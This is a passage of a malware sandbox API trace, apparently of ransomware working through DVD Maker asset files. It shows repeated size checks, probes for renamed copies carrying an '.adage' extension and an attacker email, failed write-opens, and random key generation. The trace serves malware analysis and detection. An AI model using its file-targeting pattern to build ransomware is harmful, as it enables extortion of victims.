GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4866) returned 1 [0060.538] CloseHandle (hObject=0x1a4) returned 1 [0060.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0060.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.538] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.539] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3011) returned 1 [0060.539] CloseHandle (hObject=0x1a4) returned 1 [0060.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0060.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.540] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.540] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=19112) returned 1 [0060.540] CloseHandle (hObject=0x1a4) returned 1 [0060.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0060.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.540] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.541] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6423) returned 1 [0060.541] CloseHandle (hObject=0x1a4) returned 1 [0060.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0060.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.541] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.542] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=169722) returned 1 [0060.542] CloseHandle (hObject=0x1a4) returned 1 [0060.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0060.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.542] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.543] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2910) returned 1 [0060.543] CloseHandle (hObject=0x1a4) returned 1 [0060.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0060.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.543] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.544] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4621) returned 1 [0060.544] CloseHandle (hObject=0x1a4) returned 1 [0060.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0060.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.545] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.545] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27964) returned 1 [0060.545] CloseHandle (hObject=0x1a4) returned 1 [0060.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0060.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.546] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.546] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2978) returned 1 [0060.546] CloseHandle (hObject=0x1a4) returned 1 [0060.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0060.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.546] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.547] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3808) returned 1 [0060.547] CloseHandle (hObject=0x1a4) returned 1 [0060.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0060.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.547] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.548] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3810) returned 1 [0060.548] CloseHandle (hObject=0x1a4) returned 1 [0060.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0060.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.548] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.549] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3133) returned 1 [0060.549] CloseHandle (hObject=0x1a4) returned 1 [0060.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0060.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.549] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.549] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3518) returned 1 [0060.549] CloseHandle (hObject=0x1a4) returned 1 [0060.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0060.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.550] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.719] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3119) returned 1 [0060.719] CloseHandle (hObject=0x184) returned 1 [0060.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0060.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.719] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.719] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=29268) returned 1 [0060.719] CloseHandle (hObject=0x184) returned 1 [0060.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0060.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.720] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.720] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4793) returned 1 [0060.720] CloseHandle (hObject=0x184) returned 1 [0060.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0060.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.720] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.721] CreateFileW 